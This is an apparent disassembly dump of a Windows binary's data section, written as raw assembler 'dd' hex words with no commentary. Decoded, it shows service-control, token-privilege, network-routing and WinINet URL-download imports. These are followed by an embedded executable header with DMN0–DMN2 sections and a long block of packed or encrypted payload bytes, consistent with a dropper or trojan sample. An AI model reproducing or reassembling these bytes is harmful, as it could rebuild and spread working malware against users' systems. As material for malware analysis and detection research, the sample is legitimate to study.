		dd 69767265h, 6563h, 74655300h,	76726553h, 53656369h, 75746174h
		dd 73h,	67655200h, 65747369h, 72655372h, 65636976h, 6C727443h
		dd 646E6148h, 4172656Ch, 53000000h, 74726174h, 76726553h
		dd 43656369h, 446C7274h, 61707369h, 65686374h, 4172h, 6F6F4C00h
		dd 5070756Bh, 69766972h, 6567656Ch, 756C6156h, 4165h, 65704F00h
		dd 6F72506Eh, 73736563h, 656B6F54h, 6Eh, 6A644100h, 54747375h
		dd 6E656B6Fh, 76697250h, 67656C69h, 41007365h, 50415644h
		dd 2E323349h, 6C6C64h, 7300h, 7400h, 1700h, 1500h, 300h
		dd 1200h, 0C00h, 900h, 400h, 200h, 0D00h, 100h,	0F00h
		dd 1000h, 1300h, 0A00h,	3400h, 600h, 3900h, 0B00h, 1400h
		dd 1100h, 6F00h, 4F535700h, 32334B43h, 6C6C642Eh, 47000000h
		dd 70497465h, 77726F46h, 54647261h, 656C6261h, 68706900h
		dd 7061706Ch, 6C642E69h, 6Ch, 746E4900h, 656E7265h, 65704F74h
		dd 416Eh, 746E4900h, 656E7265h,	65704F74h, 6C72556Eh, 41h
		dd 746E4900h, 656E7265h, 6F6C4374h, 61486573h, 656C646Eh
		dd 49000000h, 7265746Eh, 5274656Eh, 46646165h, 656C69h
		dd 4E495700h, 54454E49h, 6C6C642Eh, 57000000h, 65746972h
		dd 736E6F43h, 41656C6Fh, 54000000h, 6553736Ch, 6C615674h
		dd 6575h, 65724300h, 54657461h,	61657268h, 64h,	73655200h
		dd 54656D75h, 61657268h, 64h, 69784500h, 72685474h, 646165h
		dd 47000000h, 74537465h, 75747261h, 666E4970h, 416Fh, 6C745200h
		dd 69776E55h, 646Eh, 61654800h,	65724370h, 657461h, 48000000h
		dd 44706165h, 72747365h, 796Fh,	61654800h, 6C6C4170h, 636Fh
		dd 61654800h, 41655270h, 636F6C6Ch, 48000000h, 46706165h
		dd 656572h, 48000000h, 53706165h, 657A69h, 48000000h, 56706165h
		dd 64696C61h, 657461h, 44000000h, 74656C65h, 69724365h
		dd 61636974h, 6365536Ch, 6E6F6974h, 43000000h, 74616572h
		dd 6C694665h, 4165h, 736C5400h,	6F6C6C41h, 63h,	74654700h
		dd 72727543h, 54746E65h, 61657268h, 644964h, 54000000h
		dd 7246736Ch, 6565h, 736C5400h,	56746547h, 65756C61h, 55000000h
		dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
		dd 726574h, 47000000h, 79537465h, 6D657473h, 656D6954h
		dd 69467341h, 6954656Ch, 656Dh,	74654700h, 656C6946h, 65707954h
		dd 44000000h, 696C7075h, 65746163h, 646E6148h, 656Ch, 74655300h
		dd 646E6148h, 6F43656Ch, 746E75h, 47000000h, 6E457465h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 46000000h
		dd 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
		dd 4173h, 72695600h, 6C617574h,	6F6C6C41h, 63h,	72695600h
		dd 6C617574h, 72657551h, 79h, 69725700h, 69466574h, 656Ch
		dd 74655300h, 48647453h, 6C646E61h, 65h, 74655300h, 736E6F43h
		dd 43656C6Fh, 486C7274h, 6C646E61h, 7265h, 74655300h, 656C6946h
		dd 6E696F50h, 726574h, 52000000h, 46646165h, 656C69h, 53000000h
		dd 6E457465h, 46664F64h, 656C69h, 7 dup(0)
		dd 8F8C4B00h, 47h, 1000000h, 0A00h, 1800h, 80h,	8F8C4B00h
		dd 47h,	1000000h, 1F4100h, 3000h, 80h, 8F8C4B00h, 47h
		dd 1000000h, 41900h, 4800h, 1405800h, 1567800h,	2 dup(0)
		dd 505A4D00h, 200h, 0F000400h, 0FFFF00h, 0B800h, 0
		dd 1A004000h, 8	dup(0)
		dd 10000h, 10BA00h, 9B41F0Eh, 1B821CDh,	9021CD4Ch, 69685490h
		dd 72702073h, 6172676Fh, 756D206Dh, 62207473h, 75722065h
		dd 6E75206Eh, 20726564h, 336E6957h, 240A0D32h, 37h, 21h	dup(0)
		dd offset dword_455000
		dd 3014C00h, 3 dup(0)
		dd 8E00E000h, 10BA1h, 3	dup(0)
		dd 460FB00h, 100000h, 2	dup(0)
		dd 100010h, 20000h, 2 dup(0)
		dd 400h, 0
		dd 4800000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 4703800h, 2800h, 6 dup(0)
		dd 4706000h, 1000h, 14h	dup(0)
		dd 4E4D4400h, 30h, 3000000h, 100000h, 5	dup(0)
		dd 6000h, 4E4D44C0h, 31h, 1512400h, 3100000h, 1520000h
		dd 40000h, 3 dup(0)
		dd 6000h, 4E4D44E0h, 32h, 7800h, 4700000h, 7800h, 1560000h
		dd 3 dup(0)
		dd 6000h, 0C0h,	63h dup(0)
		dd 0CA367D00h, 31F1A2D1h, 91B6BF96h, 24E150A1h,	7792963Bh
		dd 433147C1h, 0D1085E5Dh, 48FD698Ch, 221B5461h,	92B779C1h
		dd 128BEA0Bh, 0D903C70Eh, 15285481h, 65FD5B90h,	0FE3FCFD6h
		dd 0B91F7AE6h, 0ABFCCC2Bh, 486DBCC0h, 0E39A30B5h, 5EC06583h
		dd 0D7BFCB6Ah, 5517BFB3h, 0FE603931h, 403EBDF6h, 0D15F64E6h
		dd 410B7CB4h, 4BE2BE9Fh, 0E0E8B03Ch, 46424E04h,	0BAD68CBAh
		dd 6024104Ch, 0A2425388h, 9CD3B1FDh, 0EEA0AEAFh, 369C7ED6h
		dd 0FAC51486h, 69763A18h, 670F853Eh, 0A360B520h, 6F391F7Eh
		dd 7BAEFD75h, 9BC86B7Ch, 0E72D96BDh, 0F11F3A1Dh, 2C0F8EF2h
		dd 81AC0206h, 9E4D9CBCh, 0A43C66D9h, 39132EF4h,	99D0513Dh
		dd 0FB54A63Dh, 0CCB2C4FEh, 0DAC2F387h, 2C633F6Eh, 730C24AEh
		dd 0C9CB212Fh, 2E20BF95h, 846EFACCh, 978614Ch, 14A0B8F7h
		dd 8F8991B9h, 0D6FBC46Bh, 0F1AF94C2h, 673FAABCh, 913AA476h
		dd 727DD609h, 7431A249h, 9E2F1B28h, 1651864Bh, 94AAB839h
		dd 22D3D0F8h, 9678F2E5h, 2DB327EAh, 4714D028h, 136F2B7Dh
		dd 4A540D0Bh, 0B71FE475h, 0A045C199h, 0A4024FA4h, 7E8906EEh
		dd 0A0FCC5CFh, 6EBA7A9Dh, 0B7813AB3h, 41206F12h, 0C301A498h
		dd 7F04667Eh, 90E315A2h, 9361EDE0h, 0AA42F5DAh,	974EF667h
		dd 9F45528Ch, 696F9B42h, 24719A0Ah, 0C2FE8D0Bh,	0EC6EA330h
		dd 0AAC91BAAh, 0F2FDD492h, 38FE29B9h, 0E53DC4D5h, 48946C2Ah
		dd 0DAEAE06Ah, 8F3484D3h, 8FD94098h, 587C478Dh,	96D78B27h
		dd 0FD94FD9Fh, 1D7D9765h, 0EEDD8A81h, 80011B90h, 0BB270A10h
		dd 0F4FFEC4Ch, 0D41CFA3h, 7A49C036h, 77ADCB3h, 7D1F16CEh
		dd 426CC743h, 0E2DA6690h, 7F731CDCh, 65771B9Ah,	56398AE2h
		dd 8CEF5BF3h, 0FEB89C3Ch, 564F005Bh, 50D72A18h,	0D95F0A1Eh
		dd 20222BDCh, 1158F497h, 8135EDCh, 0CF4BAC06h, 0CAE72848h
		dd 45C283A8h, 82364EA6h, 43794F7Ch, 0F8E1E156h,	30B5AA27h
		dd 9EF04C57h, 0D6A68EDCh, 93C12FD9h, 4AB32506h,	339E7650h
		dd 7AB30EE8h, 368A4C22h, 0C4EEF7F3h, 6AF40B79h,	346FAA8Fh
		dd 156DADD3h, 0D7D710D1h, 0F9254DA0h, 95C7FC14h, 0FBCF449Eh
		dd 0CCF6FD14h, 3E1E0708h, 9478AA09h, 7A90B48h, 1B5B1287h
		dd 50733529h, 18C3B0C9h, 192644D9h, 0CE3C7A10h,	69159D12h
		dd 0B3B9328Fh, 1034F60Fh, 0FF59A791h, 0A7B8CA13h, 0F462F6F8h
		dd 284E3BA7h, 6081E1C8h, 0E1C3F03Ah, 0E87EE462h, 84F24C6Ch
		dd 0D83CCD56h, 0B03EDDF4h, 4BA5EB23h, 3E635982h, 42FE486Bh
		dd 874D1D9Dh, 1E82EFF9h, 0E9384065h, 0BFAA45F1h, 0DB05EE23h
		dd 0A926216Ch, 0DB60BFF6h, 2B2DC485h, 0A73AC40Bh, 2532F790h
		dd 6CEC1315h, 7C20086Dh, 6747D9D7h, 3D2944E9h, 0A5B96D6Ch
		dd 64016C58h, 3C89E194h, 0F5E99F58h, 0F39D1393h, 0B88D9E2Ah
		dd 0B17C26EDh, 575D88FCh, 4BB47231h, 0C14B7352h, 6C0BCD2Ch
		dd 0A70448D4h, 0C2D20F88h, 0D6E1A889h, 425A93DBh, 75C70FAh
		dd 54D7C660h, 4FD6303Fh, 52B5CD15h, 45E00DCAh, 20BF2156h
		dd 37AD6A3Ah, 7F9566F0h, 0BB024CB7h, 0D32FA287h, 2C5A913Bh
		dd 72DC47B5h, 6AA30A98h, 930BA65Fh, 304F5C0Dh, 0D99642A2h
		dd 68C4C41Ah, 8372EEF2h, 0F4F4629Dh, 0F54B9D8Bh, 1BF631A9h
		dd 48223A9Ch, 0ECCA1F75h, 0ED6F8D2h, 0AE076281h, 6E312B1Dh
		dd 0A5DFC814h, 0AD453A6Fh, 8DD97E90h, 61AC32C2h, 5628039Dh
		dd 7BE4EE0Dh, 73CA3E99h, 98828D11h, 0EFE006BFh,	0A3B0EA66h
		dd 61D9C374h, 91CB698Bh, 802FE436h, 0C8677904h,	0FD6F8DA8h
		dd 0EE382D8Ch, 0DAD17EA2h, 22C68C11h, 13056C08h, 77A33E81h
		dd 65B77943h, 8621BF44h, 0ECF28B6Fh, 0C4BEFE25h, 0D76F11A6h
		dd 0BE9FE743h, 0ED2CDE4h, 18EC6E43h, 0CF68F94h,	0D8126A89h
		dd 3687A25Eh, 83F0F6ECh, 8541F8E5h, 98102Ch, 5AFDE51Dh
		dd 8BE0608Fh, 16F47B4Eh, 0A8EC7529h, 69F439FFh,	63BA15C9h
		dd 3F89EAC7h, 613D5981h, 11F90C02h, 804E6272h, 0ED4A6B59h
		dd 366078ABh, 0B091FE4h, 0E0816229h, 49BA4637h,	0ABF8534Ch
		dd 3ADBE2E7h, 7AD51E31h, 6979F0F0h, 4EDABA4Fh, 0C6D0C92Eh
		dd 3E9908D6h, 71698C10h, 0ED3D3F5Eh, 0A4CFA8E9h, 0C02D9B02h
		dd 4575D757h, 3EDAC1D3h, 63FA8E97h, 660DCCFh, 275C50F8h
		dd 0DB081A97h, 6C6AD23Dh, 0FD3DEB25h, 810ED035h, 962918B4h
		dd 8DDFC94Dh, 0ACA7E593h, 3C26D8C0h, 60110D22h,	0FE39FE98h
		dd 4C0294B1h, 0D387479h, 269D7A62h, 3900B36Bh, 47855345h
		dd 43B8A769h, 0A2C240A6h, 0F21B4C65h, 12E3BC80h, 0D65C8946h
		dd 345E1630h, 0F1E458BFh, 77122888h, 0A4EBEFC2h, 82D7E765h
		dd 7FC238A2h, 59315E7h,	437AD21Eh, 0C6F1870Eh, 15A4F24Bh
		dd 30AA0685h, 0D328F483h, 92C5BA5Ah, 0F0B3CB21h, 0C7DED90Bh
		dd 0BDE8FB2Ah, 2C095243h, 0DA41F6D7h, 0B6E8A0A0h, 30BE62E4h
		dd 0FBA8848Dh, 4360D025h, 4E2EE4C1h, 6E48C137h,	954170CDh
		dd 48BAEEB9h, 0A9F5BCB1h, 14CAB18Ch, 0B9C2D63Dh, 0BFF36342h
		dd 0A7E0C70Bh, 44AB527h, 8726437Bh, 0FF18185Dh,	64F391Dh
		dd 36B796E3h, 57F606D8h, 3C22173Fh, 8771FE1h, 883F682Eh
		dd 0CA85729Fh, 0ACFFE433h, 70245DF5h, 5FD1BE16h, 5833583Fh
		dd 9EA2CD89h, 0F17B6FF9h, 0A20E55FFh, 82FFCF26h, 0A535C75h
		dd 9F575722h, 0FBAFB534h, 1B023E1Dh, 0C5785488h, 7117F476h
		dd 4FBA30A2h, 7D09DDEDh, 0D901CCDFh, 40ACEAC3h,	0CAD7F07Bh
		dd 0C42D77E3h, 874B17AAh, 3D08BAB2h, 0B8C04527h, 0C8645F76h
		dd 481C9912h, 35222280h, 44DB6308h, 0F41FBA9Eh,	3C850322h
		dd 0BA80C74Bh, 288E3A18h, 0EB96415Fh, 0DCD68AD5h, 4C27613Dh
		dd 1C77F894h, 0ECF6AD20h, 67F14358h, 0D9E98C9Bh, 71EBE2DAh
		dd 45D04E8Ch, 0D525E930h, 65359F8h, 0AF93DBE6h,	0EA5508B9h
		dd 0EA3086A8h, 0DB4810FAh, 0F292E81Ch, 0DD38126Fh, 74685640h
		dd 0F579C2A8h, 15D774DDh, 6C1EFF65h, 0F8817BA7h, 0D3935E42h
		dd 0FC6D9676h, 0C7BF2833h, 166A44EAh, 0C0DA72B7h, 67CB7432h
		dd 351BAB93h, 0F90AAE95h, 0B6807EBCh, 0D08FB693h, 0DA9959DDh
		dd 0ED67A5Ah, 0C2388B6h, 9C407F64h, 0EF062EC7h,	67922B49h
		dd 0D9AF9F1Dh, 706730D6h, 54C84AB4h, 0D735F120h, 0FA734B58h
		dd 0BEE9E4AFh, 37DCFD39h, 0C530B08Dh, 0FD1D2D37h, 6B14375h
		dd 0A75B491Ch, 0E73FDB20h, 0BA676CC5h, 0B0C5D495h, 822C9D5Eh
		dd 0D9711297h, 0F2DC0121h, 9B31F959h, 0D1A22489h, 0E4A42C6h
		dd 0D01A7E87h, 74BD30Ah, 7A1C5B67h, 38857D22h, 0B283BCBDh
		dd 0D88F3292h, 0CB945123h, 1CD26B4Dh, 0CC2FDEAEh, 1C596B74h
		dd 0EF29A41Fh, 67B340DAh, 0DA6D8E9Fh, 70E3E6D2h, 47C046BCh
		dd 0D905F950h, 0FE9338B8h, 0B6A9BB6Bh, 0C05D3EB9h, 0E430328Eh
		dd 3F1E2937h, 8AB66B72h, 9F575D1Ch, 0F727074Bh,	5A772D29h
		dd 0F0F45491h, 3ED8D56h, 0D9E312A4h, 0F1D81140h, 8539F89Fh
		dd 0D5522B15h, 7E4F3510h, 0A05A7CE3h, 26CB9804h, 0BB1C435Fh
		dd 0BA85DAA3h, 8E83E6BDh, 0C08F4E8Dh, 0DB95E921h, 7CD35B49h
		dd 0EC2DFE86h, 0FD38C96Ah, 0EF214FF2h, 675C5CBFh, 0DA335911h
		dd 7F5FFB2Eh, 4638FEA4h, 0D815FD40h, 0FCB33098h, 8A69AB2Bh
		dd 98DD1F79h, 875110A0h, 591FA556h, 0CEB76B7Eh,	17555D1Ch
		dd 0C7238D26h, 7A4034C4h, 3104D49Fh, 838E8D2Ah,	0D9A512BCh
		dd 30541113h, 0E8448A93h, 0D742483Eh, 7A0A4A4Eh, 0BF9B6B67h
		dd 364B22C2h, 0D81CBE9Fh
		dd 0F4856F23h, 0A83E0BDh, 0C88F4A8Ch, 6995E160h, 5CD34B47h
		dd 4C2D9E9Ah, 1C5CFB5Fh, 0EF20AE96h, 675D413Ch,	0DA318953h
		dd 7F5BE4AAh, 463042ACh, 0D865F170h, 0FCD328F8h, 8A285AEBh
		dd 0D95D40B9h, 0F233B68Eh, 5B1F2137h, 0D2B47B72h, 0F53BD1Ch
		dd 0D72FBB26h, 1A58ACC4h, 712B549Fh, 3AF8D2Ah, 0DA6712BDh
		dd 0F0D01152h, 8729F8A3h, 0D9722B4Dh, 7EEA40AEh, 0B7DA7B77h
		dd 0C1CB2EE2h, 0F91C50DEh, 36856EA3h, 8683E742h, 0F08F488Ch
		dd 3B95E527h, 0BCD34345h, 0C2D8E9Eh, 9C5CDB57h,	0EF20EEA5h
		dd 675EC15Dh, 0DA308895h, 7F59EB26h, 46344154h,	0D87DF360h
		dd 0FCE32CD8h, 8BC852ABh, 0D91D5139h, 0F1B3E88Eh, 5A1F5D37h
		dd 0D0B5C372h, 3528D1Ch, 0AF2D5B26h, 0A5C6CC4h,	9123D49Fh
		dd 43408D2Bh, 5A3912BDh, 0EF6C116Dh, 86D1F8A2h,	0D8622B4Bh
		dd 7CCA40A2h, 8B1A7B4Fh, 0D94B2EF2h, 0EE1C50FEh, 50856EE3h
		dd 0C283E6C2h, 788F468Ch, 0B95F926h, 9CD33B44h,	0CC2DBE90h
		dd 1C5D3B2Bh, 0EF202EBDh, 675E414Eh, 0DA3788B7h, 7F57EB62h
		dd 462840DCh, 0D875F490h, 0FCF32F38h, 8BE8516Bh, 0D9DD52B9h
		dd 0F133EA8Eh, 451F5937h, 0D6B5CB72h, 7529D1Ch,	0A72D7B26h
		dd 3A5C2CC4h, 0B122549Fh, 83418D2Bh, 0DA3B12BDh, 0EF68116Dh
		dd 86D9F8A1h, 0D8122B49h, 7CAA40A6h, 8B5A7B47h,	0D8CB2E82h
		dd 0EF1C511Eh, 52856923h, 0DE83E542h, 608F448Ch, 1B95FD26h
		dd 0FCD33344h, 8C2DAE90h, 9C5D1B2Bh, 0EF206EBCh, 675FC14Fh
		dd 0DA3688A9h, 7F55EB7Eh, 462C40C4h, 0D84DF480h, 0FD032F18h
		dd 8B88512Bh, 0D99D5339h, 0F0B3EC8Eh, 441F5537h, 0D4B5D372h
		dd 7B52ED1Ch, 0BF2D1B26h, 2A5DECC4h, 0D122D49Fh, 0C3428D2Bh
		dd 5A3D12BDh, 0EF64116Ch, 86C1F8A0h, 0D8022B47h, 7C8A409Ah
		dd 8A9A7B5Fh, 531D7D51h, 67107562h, 0B38D8250h,	0DA7F88D7h
		dd 0ED49CB9Ch, 0E26185D0h, 92BE91B4h, 0AEDB1F56h, 2C64CBA7h
		dd 0DCAAAEBCh, 125F7AF3h, 533677A9h, 6FBB2A8Ah,	465FBFE9h
		dd 1B1EAAB0h, 0FC152710h, 0FBBDAFFBh, 194D5445h, 0A3D667DBh
		dd 4619595Fh, 0AEA02462h, 1542FDE0h, 0BF68B027h, 97934494h
		dd 0A878549Eh, 0B2B4EA2h, 252F13B4h, 0EF9C6979h, 0DD1171B7h
		dd 0D05AE818h, 827A4198h, 8A260F42h, 0FFBFD1B2h, 0BC4AB95Ah
		dd 26DC68A3h, 0C682ED4Ah, 0ECF75573h, 1356E526h, 2CD22564h
		dd 0F05C5B6Eh, 5F9E4B2Ah, 6EC667E6h, 6759C19Dh,	8D62DBADh
		dd 2D21D47h, 0C22B40FCh, 0D85DF402h, 2DCDA30h, 0F75DAF54h
		dd 0E70D55C5h, 0F04C1F71h, 4693C938h, 0F8DDA372h, 8C42CC1Ah
		dd 8FD0AF33h, 0C620E1D4h, 19542BC9h, 43458D43h,	5AB49FB2h
		dd 0BF83EE90h, 86A0434Eh, 0C8E6A843h, 86CB831Bh, 8A1A7BD0h
		dd 0DA2110C4h, 129CD2F3h, 0A0D568E3h, 0D283A7E2h, 0DE0607D5h
		dd 1C99F4ABh, 91DB6EBBh, 9A7C61D2h, 1C0C30C2h, 0FFE7ADB3h
		dd 0F0E82FBh, 0CA3B6CCDh, 7F1DF09Ah, 104119FCh,	0D8055738h
		dd 0EED877B8h, 7468D2E6h, 0B28DA946h, 1F3306ECh, 414EB6DFh
		dd 0B6ECF272h, 6753DB3Ch, 7B54EED9h, 0A4023CC4h, 6CCCDDC5h
		dd 857DE5E8h, 0CFCC02B3h, 0FF78ED1Fh, 6370AD66h, 88C2C7C2h
		dd 2DDA051Bh, 76DA6ED8h, 59AD3F42h, 6010AEE3h, 0AEC0D024h
		dd 2B68F942h, 6B1E34h, 0EC9ADE36h, 7383EF01h, 0DCD62B26h
		dd 64182C25h, 0EF23620Bh, 9EAE5873h, 9F8D87F3h,	7F2952BEh
		dd 0B18540E4h, 6CA2A639h, 0F213D8DDh, 0DBFA129Ch, 0DA791F51h
		dd 6C61B9Eh, 404E9ADFh,	0F8713072h, 36BDA447h, 7AA5CEE5h
		dd 0D236BF94h, 0AE30D598h, 0C3BAF93Eh, 0BE757AA2h, 9A8B016Eh
		dd 0D71B10ACh, 829B2B7Fh, 0A68F8303h, 0CC17674Bh, 260EA642h
		dd 0EFE02341h, 0ACD66716h, 2A83BA52h, 5B839E0Ch, 0ABC1B6CEh
		dd 64BB5243h, 0B33C1F97h, 1CA18338h, 3ABF5A2h, 0EE0C8229h
		dd 0D2D50B46h, 22C0BD19h, 0B908ABE4h, 0DB55E4FDh, 0D438FE8h
		dd 0BFD746EBh, 0DA5B083Ch, 0F01B0E9Eh, 0C046BEC8h, 2245AB4Fh
		dd 0B0243D0Fh, 9644CACDh, 725EACC0h, 8ED8A97Ah,	13520672h
		dd 53271243h, 0E920846Ah, 0BD69E8AAh, 98F55E5Fh, 5F150548h
		dd 0CC1C7FDCh, 0B0480F9Dh, 1BD5626h, 0CB956A53h, 330AEE12h
		dd 208FA89Fh, 0EB10B1ADh, 57C30245h, 842F8497h,	161E9D2Bh
		dd 9BE26AB2h, 981FFB7Bh, 0A7B981D1h, 7F4DEBBEh,	0C6F23C94h
		dd 0AE9F0B9Dh, 0DF58AED1h, 638B52DEh, 0E09D1A38h, 8D498CAEh
		dd 4B6CBD0Ch, 0D0A5BEF1h, 1F711D1Fh, 9F3CFAA7h,	0AEDD7CC3h
		dd 9021841Bh, 18168D3Ch, 9974FE3Ah, 6EA9983Ch, 86106846h
		dd 0BDB4787Bh, 0F0CA4239h, 76E40B8Ah, 62447F8Dh, 9FF4063Dh
		dd 0C9856AA9h, 56756B04h, 393430A4h, 0FB101427h, 0CC2F04BDh
		dd 9CEF899Eh, 1C1454C5h, 6AE4A7B1h, 565E3580h, 0B2246367h
		dd 6F470F64h, 0B9F52A74h, 0D05EACEFh, 0FD972D50h, 75B5BD7Bh
		dd 0EA84A546h, 566DBA4Eh, 8E4555BEh, 26FFCE9Ah,	27912C1Fh
		dd 82A52EE5h, 0BC347F93h, 0B34C55F4h, 8303BAC4h, 5BE89BB3h
		dd 10B7EE92h, 0B71D8D56h, 1CC4C0B9h, 0D52ABCC3h, 8D307A15h
		dd 84376A8Fh, 170C5276h, 0BD7A0D23h, 0D6D0ED42h, 208F1E9Dh
		dd 1B69D8E1h, 96D1E1EBh, 7069A395h, 8C58737Dh, 104A6EB0h
		dd 345BC188h, 0DA777D31h, 83002C5Eh, 460C4085h,	9E00F16Ah
		dd 0F5E971E4h, 8877AA43h, 750839h, 85B3FCC7h, 0A091EEEFh
		dd 0ADE0502Fh, 31023DFAh, 152D7120h, 0E3E104C1h, 12AFD49Eh
		dd 3CB576ADh, 5E58ED4Ch, 8EAFD159h, 6E0DBDC1h, 52822B74h
		dd 79E0BCBFh, 0D8663E92h, 0D45B2A7Ah, 0EBE33F3Eh, 94D66563h
		dd 3A83A554h, 0C08717E6h, 62959125h, 0D8BA1706h, 1CD09B1Ch
		dd 1C4E7D44h, 10DAC6B0h, 8F084178h, 0DA3DC1ADh,	2C02B6Bh
		dd 0D30F409Ch, 27C07CE0h, 0B81E2512h, 80C20417h, 0D4A2A3D1h
		dd 5BDBAD8Eh, 0C618B17Eh, 0C63CC0AAh, 0D604BE42h, 0FC7F6BC3h
		dd 1F36A49Eh, 0F126BC8Eh, 0FF0E042Ch, 9FA216DAh, 0EA284194h
		dd 0EE09F8BFh, 0DBB2D48Ah, 3B42A8ADh, 0CDB37B17h, 0D7C8C72Eh
		dd 0E959DE5Eh, 3B0860C9h, 30EBA3BEh, 0B88F509Fh, 0FB956AD9h
		dd 75D80B10h, 0CC1DCE92h, 9C4A26AFh, 66F57BB8h,	633E3D3Ch
		dd 8AC0CD50h, 8029E33Ch, 1504404Bh, 0DBD51CC8h,	112A7A58h
		dd 0FCB797F6h, 35F5591Dh, 3AB3F0C6h, 1BDBEDF7h,	0C43486FBh
		dd 53514C13h, 12A08D75h, 0BEFAEFCBh, 11DA2B60h,	0BDB428AFh
		dd 0D921ED4Fh, 10A2EDCEh, 3BB2F851h, 245DD58Fh,	0F95C33B2h
		dd 77E4866Ah, 0D61BACCDh, 0E4E0DEF7h, 0E40C631Ch, 0CD7CC247h
		dd 2C0D0370h, 9B6A96D8h, 1CBA5B29h, 32D77B1Fh, 760044D3h
		dd 0A7B1C6B7h, 0A1E5417Ah, 0AE2C705Ch, 0AE96E59h, 0AD7871B8h
		dd 9BD5C453h, 1E3A7BE6h, 73D8836h, 5D8E0E5Ch, 6B630ECBh
		dd 391CCF48h, 0E6BD1E8Dh, 9751157Fh, 3FA838AFh,	0F15C583Ch
		dd 0B87FA8D8h, 0D68ED0C2h, 36A0F73Dh, 0FF324273h, 0C3B4F8B7h
		dd 9EBA7A61h, 0F12A5F67h, 4F3C75A3h, 0D6C9D287h, 92100D15h
		dd 0CD8A6B66h, 0E6D3D107h, 0C088C4A5h, 29D0E440h, 16200ECEh
		dd 0F9D4BD82h, 0D44E7324h, 17BA6EB6h, 5669B484h, 0EBD16311h
		dd 0F646AA6Eh, 137F0348h, 37EE6CC9h, 0E2A94B88h, 0CB857B41h
		dd 2575EFC9h, 81B334DEh, 0BF7E29F3h, 0CB88337h,	243E894h
		dd 68186F63h, 83F8FC86h, 51349347h, 312B0448h, 30154F39h
		dd 9A2B4272h, 0C6F510D4h, 25C12A8Fh, 470E2AD5h,	0B69992BFh
		dd 6F106212h, 6DDF1552h
		dd 0B1EF7AEAh, 628BB53Dh, 0C888CD33h, 2FE8A1A0h, 5F3B8B70h
		dd 116B5EA7h, 0F9D9AEE4h, 0BC2C43C5h, 0D7D2CCAh, 2A940613h
		dd 2F91017Ah, 82335CACh, 9EA2EB7Ch, 35D31208h, 8E3886AEh
		dd 0A4D0E0B9h, 0EE76FB7Eh, 0EE6F767h, 553B937Ah, 4CC4BD1Fh
		dd 28EC40A7h, 1FD5533Ch, 73B094ACh, 585155A7h, 19FAFE3Ch
		dd 6DB59837h, 0D67AEC2Fh, 0CF2FA1DAh, 0E9E60AA5h, 58BC7955h
		dd 9BCB22E1h, 0D41C22CEh, 1ED56EE6h, 6839772h, 96844C0Dh
		dd 396520E3h, 5095847Fh, 0C2B8E9Ah, 11A0A6B2h, 0B8680310h
		dd 8F66B342h, 0DAD0CC73h, 81982E2Fh, 0B94BA4ABh, 1B4C8B15h
		dd 0A7680333h, 7B8DE9A7h, 6612F3B0h, 0E9E25ACBh, 7A199A3Bh
		dd 99BB4A14h, 0D812D2EFh, 6C4CB7AFh, 5841E596h,	0CCD883CBh
		dd 535D0623h, 5B130F5Eh, 0BDFC6482h, 6BD98D3Dh,	0DE626C61h
		dd 9E4F99ABh, 5B997C30h, 0A040C90Dh, 0CBEF4909h, 9B5AE11Ch
		dd 1CDCD686h, 2D4BDBD5h, 5DC69CA2h, 8C8DB029h, 171A6105h
		dd 1C3B1BD8h, 0E34DD03Eh, 8F663351h, 0DAD7CDC5h, 89922E6Bh
		dd 0B1814AA2h, 0DA79C51Bh, 0FEB69EC8h, 706D926Ah, 9542EC6h
		dd 5C69F4D1h, 80908CF4h, 9DEF9D21h, 58C58D42h, 87FAA017h
		dd 0C4F72CA9h, 0C4AD58E8h, 0C5596527h, 1DF212B5h, 0FE96E7F8h
		dd 0C6520FE8h, 57E22B85h, 9BAB5363h, 4F2586C2h,	0D694FA0Bh
		dd 1ADF1445h, 44D67CAAh, 52DE4E14h, 8B98F905h, 0E4951736h
		dd 383230Bh, 0C9C3A6F9h, 15511B75h, 90CEEAAAh, 98A745AAh
		dd 2DFF8082h, 80901BFFh, 32785BBh, 8013DF90h, 0A550D445h
		dd 0FB77971Ah, 0F275FF1Dh, 89B2ACC8h, 9BE254F4h, 61472C8Dh
		dd 0DF381202h, 0F907F32Ah, 0ED2CECC3h, 0D4272218h, 28DD45ACh
		dd 573B99BEh, 0EE6F11F7h, 5B48FA2Bh, 8BC171D9h,	8409BA93h
		dd 0F8CC2A4Bh, 54B4882h, 0A44CB97Bh, 0C85D7D7h,	3C8F0040h
		dd 6A78C749h, 87D0B62Bh, 0DCD02B6Eh, 0C1DA0301h, 4F019777h
		dd 733DA93h, 676F031Eh,	24564DE2h, 4E179D05h, 0CDBBB10Ch
		dd 9ECE8CE5h, 0FC119E8Ch, 0DF5A255Ch, 0D2186751h, 1067258Eh
		dd 561B5851h, 41E69BB2h, 3C111196h, 36F4B273h, 0DBA1A82Fh
		dd 3707079Ch, 0FCDF8DAAh, 0DB1713B5h, 63E01F78h, 7C35E442h
		dd 5BDA827Ah, 0E46A6F5Bh, 6D2199D2h, 0BC23B25Dh, 14E336A1h
		dd 930B5B2Ah, 0A97230BFh, 0EB680505h, 93CD8AD4h, 3CC06614h
		dd 815C8804h, 636D5BB7h, 0EDD3BF9Ch, 8078C635h,	232B7C9Eh
		dd 0F21D2C75h, 0C7FF042Ch, 0BE9EDD4Ch, 3FA0F2D1h, 181E33A7h
		dd 0D115A0B2h, 1FB6A02Ch, 3392CD34h, 1C1A2078h,	0F34CCD1Fh
		dd 0BE1886A5h, 40A9E57Ah, 11A8543Dh, 3F2492EEh,	0A314933Eh
		dd 0DF032C7Fh, 8F56D0Fh, 55D69F0Ah, 951FF602h, 0E796432Eh
		dd 870E294Ah, 4219F771h, 0BE8C48E2h, 0E98B413Bh, 9164CB05h
		dd 0B7E08229h, 978B1FF7h, 452A86C8h, 59EA4377h,	6D3F5373h
		dd 2868BEB7h, 0DFDB72EEh, 0FA73E8F2h, 0DFC304A3h, 0AE96DD3Ch
		dd 5FB0F331h, 583E347Bh, 59D5B332h, 1F36A217h, 65A14235h
		dd 97B8AB7Ah, 0F295F26h, 0A576E36h, 4DAA11E0h, 0A854E084h
		dd 0D6ACB224h, 0D489F0B6h, 0FA7321C9h, 77ACE57Ch, 0E446D208h
		dd 0D01006EAh, 1A599CACh, 5ABD6F17h, 7CFD8B17h,	7F2B8B9Dh
